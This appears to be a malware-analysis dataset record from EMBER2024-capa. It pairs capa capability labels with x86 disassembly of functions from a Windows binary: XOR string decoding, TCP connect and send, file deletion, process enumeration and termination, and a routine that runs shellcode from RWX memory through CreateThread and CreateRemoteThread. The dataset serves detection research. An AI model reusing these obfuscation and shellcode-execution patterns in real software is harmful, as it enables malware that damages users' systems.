joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1004970f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 7
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x1004971a
mov byte [edi + 0xb], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x10049736
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 8
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x10049741
mov byte [edi + 0xc], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x1004975d
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0x12
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x10049768
mov byte [edi + 0x16], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x10049784
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 4
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x1004978f
mov byte [edi + 8], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x100497ab
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0x13
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x100497b6
mov byte [edi + 0x17], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x100497d2
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0xf
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x100497dd
mov byte [edi + 0x13], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x100497f9
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 6
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x10049804
xor eax, eax
mov word [esi + 0x10], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x10049827
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 4
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x10049832
xor eax, eax
mov word [esi + 0xc], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x10049855
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 8
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x10049860
xor eax, eax
mov word [esi + 0x14], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret
Function at 0x10049883
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 0x2a
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1004988e
xor eax, eax
mov word [esi + 0x58], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x100498b1
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 9
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x100498bc
xor eax, eax
mov word [esi + 0x16], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret
Function at 0x1004aaa2
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov edx, ecx
push esi
push edi
xor esi, esi
lea edi, [edx + 4]
mov ax, word [edi]
mov ecx, dword [edx]
add ecx, esi
movzx eax, ax
xor ecx, eax
inc esi
mov word [edi], cx
lea edi, [edi + 2]
cmp esi, 2
jb 0x1004aaac
pop edi
xor eax, eax
pop esi
mov word [edx + 8], ax
lea eax, [edx + 4]
pop ebx
ret

Function at 0x1004aad1
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov edx, ecx
push esi
push edi
xor esi, esi
lea edi, [edx + 4]
mov ax, word [edi]
mov ecx, dword [edx]
add ecx, esi
movzx eax, ax
xor ecx, eax
inc esi
mov word [edi], cx
lea edi, [edi + 2]
cmp esi, 3
jb 0x1004aadb
pop edi
xor eax, eax
pop esi
mov word [edx + 0xa], ax
lea eax, [edx + 4]
pop ebx
ret

Function at 0x1004ab00
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov edx, ecx
push esi
push edi
xor esi, esi
lea edi, [edx + 4]
mov ax, word [edi]
mov ecx, dword [edx]
add ecx, esi
movzx eax, ax
xor ecx, eax
inc esi
mov word [edi], cx
lea edi, [edi + 2]
cmp esi, 0x32
jb 0x1004ab0a
pop edi
xor eax, eax
pop esi
mov word [edx + 0x68], ax
lea eax, [edx + 4]
pop ebx
ret

Function at 0x1004ab46
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 2
pop edi
lea ebx, [esi + 4]
mov ax, word [ebx]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [ebx], dx
lea ebx, [ebx + 2]
sub edi, 1
jne 0x1004ab51
xor eax, eax
mov word [esi + 8], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x1004ab74
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 0x31
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1004ab7f
xor eax, eax
mov word [esi + 0x66], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x1004aba2
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 0x33
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1004abad
xor eax, eax
mov word [esi + 0x6a], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret
Function at 0x1004b384
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
mov eax, dword [0x10110164]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 6
push 1
push 2
pop ebx
push ebx
mov edi, ecx
call dword [sym.imp.WS2_32.dll_socket]
mov esi, eax
cmp esi, 0xffffffff
je 0x1004b404
push 0x10
lea eax, [ebp - 0x14]
push 0
push eax
call fcn.100cea50
lea eax, [edi + 0x14]
mov word [ebp - 0x14], bx
add esp, 0xc
cmp dword [eax + 0x14], 0x10
jb 0x1004b3cd
mov eax, dword [eax]
push eax
call dword [sym.imp.WS2_32.dll_inet_addr]
mov dword [ebp - 0x10], eax
movzx eax, word [edi + 0x2c]
push eax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x12], ax
lea eax, [ebp - 0x14]
push 0x10
push eax
push esi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x1004b401
push esi
call dword [sym.imp.WS2_32.dll_closesocket]
jmp 0x1004b404
mov dword [edi + 0x10], esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.100cc9b8
leave
ret
Function at 0x1004db7a
Capabilities:
Send data
Send data on socket

Disassembly:
push 0x2c
mov eax, 0x100f2c33
call fcn.100cca34
mov edi, ecx
lea ecx, [ebp - 0x30]
call fcn.10015cb9
mov dword [ebp - 4], 1
lea esi, [edi + 0x38]
push esi
mov dword [ebp - 0x34], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov byte [ebp - 4], 2
lea ebx, [edi + 0x30]
push ebx
lea ecx, [ebp - 0x30]
call fcn.1004e4dd
mov byte [ebp - 4], 1
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
jmp 0x1004dc3e
mov eax, dword [edi + 0x10]
cmp eax, 0xffffffff
jne 0x1004dbdc
mov ecx, edi
call fcn.1004b384
mov eax, dword [edi + 0x10]
cmp eax, 0xffffffff
je 0x1004dc8d
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x28]
mov eax, dword [eax]
and dword [ebp - 0x18], 0
add eax, 8
and dword [ebp - 0x14], 0
push eax
call fcn.10039561
mov byte [ebp - 4], 4
cmp dword [ebp - 0x18], 0x7fffffff
ja 0x1004dc7f
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
push 0
push dword [ebp - 0x18]
cmovae eax, dword [ebp - 0x28]
push eax
push dword [edi + 0x10]
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x1004dc4a
mov eax, dword [ebp - 0x30]
lea ecx, [ebp - 0x30]
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.1004e44b
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.1000b2a6
cmp dword [ebp - 0x2c], 0
jne 0x1004dbc1
jmp 0x1004dcbb
push esi
mov dword [ebp - 0x34], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov byte [ebp - 4], 5
mov ecx, ebx
mov edx, dword [ebp - 0x30]
mov eax, dword [ebx]
push edx
push dword [edx]
push dword [eax]
lea eax, [ebp - 0x38]
push eax
call fcn.1004b02a
mov byte [ebp - 4], 4
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, edi
call fcn.1004b413
mov byte [ebp - 4], 1
lea ecx, [ebp - 0x28]
call fcn.1000b2a6
jmp 0x1004dcbb
push esi
mov dword [ebp - 0x38], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebx]
push ecx
push dword [ecx]
mov ecx, ebx
push dword [eax]
lea eax, [ebp - 0x34]
push eax
call fcn.1004b02a
mov byte [ebp - 4], 1
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x30]
call fcn.1003f897
call fcn.100cc9de
ret

Function at 0x1004e27c
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov edx, ecx
push esi
push edi
xor esi, esi
lea edi, [edx + 4]
mov ax, word [edi]
mov ecx, dword [edx]
add ecx, esi
movzx eax, ax
xor ecx, eax
inc esi
mov word [edi], cx
lea edi, [edi + 2]
cmp esi, 5
jb 0x1004e286
pop edi
xor eax, eax
pop esi
mov word [edx + 0xe], ax
lea eax, [edx + 4]
pop ebx
ret

Function at 0x1004e3be
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 0x74
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1004e3c9
xor eax, eax
mov word [esi + 0xec], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret
Function at 0x1004e3ef
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 5
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1004e3fa
xor eax, eax
mov word [esi + 0xe], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x1004e41d
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 3
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1004e428
xor eax, eax
mov word [esi + 0xa], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x1004e87f
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
xor ebx, ebx
mov dl, byte [esi + ebx + 4]
mov eax, dword [esi]
add al, bl
movsx ecx, dl
xor eax, ecx
mov byte [esi + ebx + 4], al
inc ebx
cmp ebx, 5
jb 0x1004e886
pop edi
mov byte [esi + 9], 0
lea eax, [esi + 4]
pop esi
pop ebx
ret

Function at 0x1005081e
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov edx, ecx
push esi
push edi
xor esi, esi
lea edi, [edx + 4]
mov ax, word [edi]
mov ecx, dword [edx]
add ecx, esi
movzx eax, ax
xor ecx, eax
inc esi
mov word [edi], cx
lea edi, [edi + 2]
cmp esi, 0xb
jb 0x10050828
pop edi
xor eax, eax
pop esi
mov word [edx + 0x1a], ax
lea eax, [edx + 4]
pop ebx
ret
Function at 0x10058208
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
xor ebx, ebx
mov dl, byte [esi + ebx + 4]
mov eax, dword [esi]
add al, bl
movsx ecx, dl
xor eax, ecx
mov byte [esi + ebx + 4], al
inc ebx
cmp ebx, 0x26
jb 0x1005820f
pop edi
mov byte [esi + 0x2a], 0
lea eax, [esi + 4]
pop esi
pop ebx
ret

Function at 0x10058231
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
xor ebx, ebx
mov dl, byte [esi + ebx + 4]
mov eax, dword [esi]
add al, bl
movsx ecx, dl
xor eax, ecx
mov byte [esi + ebx + 4], al
inc ebx
cmp ebx, 9
jb 0x10058238
pop edi
mov byte [esi + 0xd], 0
lea eax, [esi + 4]
pop esi
pop ebx
ret

Function at 0x100583e1
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0x26
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x100583ec
mov byte [edi + 0x2a], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x10058408
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0xe
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x10058413
mov byte [edi + 0x12], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret
Function at 0x1005f4f6
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov edx, ecx
push esi
push edi
xor esi, esi
lea edi, [edx + 4]
mov ax, word [edi]
mov ecx, dword [edx]
add ecx, esi
movzx eax, ax
xor ecx, eax
inc esi
mov word [edi], cx
lea edi, [edi + 2]
cmp esi, 0xf
jb 0x1005f500
pop edi
xor eax, eax
pop esi
mov word [edx + 0x22], ax
lea eax, [edx + 4]
pop ebx
ret

Function at 0x1005f525
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 0x35
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1005f530
xor eax, eax
mov word [esi + 0x6e], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret
Function at 0x100677e9
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 9
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x100677f4
mov byte [edi + 0xd], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x10067810
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 0xb
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1006781b
xor eax, eax
mov word [esi + 0x1a], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x10067a73
Capabilities:
Delete file

Disassembly:
push 0x3c
mov eax, 0x100f3c77
call fcn.100cca34
mov ecx, dword [ebp + 8]
push ecx
mov eax, dword [ecx]
call dword [eax + 0x18]
push eax
lea ecx, [ebp - 0x48]
call fcn.10011b36
xor edi, edi
mov dword [ebp - 4], edi
mov eax, 0x586c
mov dword [ebp - 0x30], 0x5830
mov ecx, 0x5843
mov word [ebp - 0x2c], ax
add eax, 0xffffffdc
mov word [ebp - 0x2a], ax
mov eax, 0x5858
mov word [ebp - 0x28], ax
add eax, 0xffffffed
mov word [ebp - 0x26], ax
mov eax, 0x585e
mov word [ebp - 0x24], ax
add eax, 0xffffffe6
mov word [ebp - 0x22], ax
mov eax, 0x5855
mov word [ebp - 0x20], ax
add eax, 0xffffffed
mov word [ebp - 0x1e], ax
mov eax, 0x5801
mov word [ebp - 0x1c], ax
add eax, 0x1d
mov word [ebp - 0x1a], ax
lea eax, [ecx + 6]
mov word [ebp - 0x18], cx
mov word [ebp - 0x16], ax
xor eax, eax
mov word [ebp - 0x14], cx
lea ecx, [ebp - 0x30]
mov word [ebp - 0x12], ax
mov ax, word [ebp - 0x2c]
call fcn.100110f5
mov esi, eax
push esi
call fcn.100ddd9c
pop ecx
push eax
push esi
lea ecx, [ebp - 0x48]
call fcn.1004e21e
cmp dword [ebp - 0x34], 8
lea eax, [ebp - 0x48]
push edi
cmovae eax, dword [ebp - 0x48]
push 0x80
push 2
push edi
push edi
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
cmp eax, 0xffffffff
jne 0x10067b50
push 0x61
jmp 0x10067b6b
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
cmp dword [ebp - 0x34], 8
lea eax, [ebp - 0x48]
cmovae eax, dword [ebp - 0x48]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x55
pop esi
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x48]
call fcn.1000b2cc
mov ax, si
call fcn.100cc9de
ret
Function at 0x1006ae10
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov edx, ecx
push esi
push edi
xor esi, esi
lea edi, [edx + 4]
mov ax, word [edi]
mov ecx, dword [edx]
add ecx, esi
movzx eax, ax
xor ecx, eax
inc esi
mov word [edi], cx
lea edi, [edi + 2]
cmp esi, 0x25
jb 0x1006ae1a
pop edi
xor eax, eax
pop esi
mov word [edx + 0x4e], ax
lea eax, [edx + 4]
pop ebx
ret

Function at 0x1006af05
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 0x58
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1006af10
xor eax, eax
mov word [esi + 0xb4], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x1006af36
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 0x64
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x1006af41
xor eax, eax
mov word [esi + 0xcc], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret
Function at 0x1006f1d5
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov edi, ecx
push 0x15
pop ebx
lea eax, [edi + 4]
mov dl, byte [eax]
movsx esi, byte [edi]
movsx ecx, dl
xor ecx, esi
mov byte [eax], cl
inc eax
sub ebx, 1
jne 0x1006f1e0
mov byte [edi + 0x19], bl
lea eax, [edi + 4]
pop edi
pop esi
pop ebx
ret

Function at 0x10073948
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov edx, ecx
push esi
push edi
xor esi, esi
lea edi, [edx + 4]
mov ax, word [edi]
mov ecx, dword [edx]
add ecx, esi
movzx eax, ax
xor ecx, eax
inc esi
mov word [edi], cx
lea edi, [edi + 2]
cmp esi, 0x14
jb 0x10073952
pop edi
xor eax, eax
pop esi
mov word [edx + 0x2c], ax
lea eax, [edx + 4]
pop ebx
ret

Function at 0x10073977
Capabilities:
Encode data using xor

Disassembly:
push ebx
mov edx, ecx
push esi
push edi
xor esi, esi
lea edi, [edx + 4]
mov ax, word [edi]
mov ecx, dword [edx]
add ecx, esi
movzx eax, ax
xor ecx, eax
inc esi
mov word [edi], cx
lea edi, [edi + 2]
cmp esi, 0x28
jb 0x10073981
pop edi
xor eax, eax
pop esi
mov word [edx + 0x54], ax
lea eax, [edx + 4]
pop ebx
ret

Function at 0x100739a6
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
mov esi, ecx
push 0x28
pop ebx
lea edi, [esi + 4]
mov ax, word [edi]
movzx ecx, word [esi]
movzx edx, ax
xor edx, ecx
mov word [edi], dx
lea edi, [edi + 2]
sub ebx, 1
jne 0x100739b1
xor eax, eax
mov word [esi + 0x54], ax
lea eax, [esi + 4]
pop edi
pop esi
pop ebx
ret
Function at 0x1007606e
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xa
pop ebx
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x100760bc
push 0x100
push fcn.10073c97
push esi
call fcn.100cfb50
add esp, 0xc
xor eax, eax
push eax
push eax
push eax
push esi
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0x3e8
call edi
sub ebx, 1
jne 0x1007607a
push 0xa
pop ebx
push 0x40
push 0x3000
push 0x1000
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
je 0x10076108
push 0x100
push fcn.10073c97
push esi
call fcn.100cfb50
add esp, 0xc
xor eax, eax
push eax
push eax
push eax
push esi
push eax
push eax
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0x3e8
call edi
sub ebx, 1
jne 0x100760c4
push 0x2710
call edi
push ebx
call fcn.10073c97
int3

Function at 0x1007611b
Capabilities:
Terminate process

Disassembly:
push 0x10
mov eax, 0x100f455c
call fcn.100cca00
mov eax, dword [0x10201ab4]
mov ecx, dword [eax + 0xa8]
test ecx, ecx
je 0x100761c0
mov eax, dword [ecx]
push ecx
call dword [eax + 0x184]
test byte [eax + 0x14], 8
je 0x100761c0
lea eax, [ebp - 0x10]
push eax
push 0xf00f
call fcn.10001ea3
test eax, eax
js 0x100761c0
mov eax, dword [ebp - 0x10]
mov esi, dword [eax]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
push dword [ebp - 0x10]
call dword [esi + 0x78]
test eax, eax
js 0x100761c0
push dword [ebp - 0x14]
xor edi, edi
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x100761c0
push dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], edi
push esi
mov dword [ebp - 0x18], edi
call fcn.10003351
mov dword [ebp - 4], edi
push 0x40010004
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
or dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x100761c0
call fcn.10002bb1
call fcn.100cc9c9
ret
Function at 0x10076253
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x234
mov eax, dword [0x10110164]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
mov dword [ebp - 0x234], eax
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov esi, eax
cmp esi, 0xffffffff
jne 0x1007628f
call dword [sym.imp.KERNEL32.dll_GetLastError]
or eax, 0xe0ff0000
jmp 0x10076304
push 0x228
lea eax, [ebp - 0x22c]
push edi
push eax
call fcn.100cea50
add esp, 0xc
mov dword [ebp - 0x230], 0x22c
lea eax, [ebp - 0x230]
push eax
push esi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
jne 0x100762c8
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x10076282
push ebx
mov ebx, dword [ebp + 8]
cmp dword [ebp - 0x228], ebx
je 0x100762ec
lea eax, [ebp - 0x230]
push eax
push esi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x100762cc
mov edi, 0xe023002e
jmp 0x100762fa
mov eax, dword [ebp - 0x234]
mov ecx, dword [ebp - 0x218]
mov dword [eax], ecx
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop ebx
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.100cc9b8
leave
ret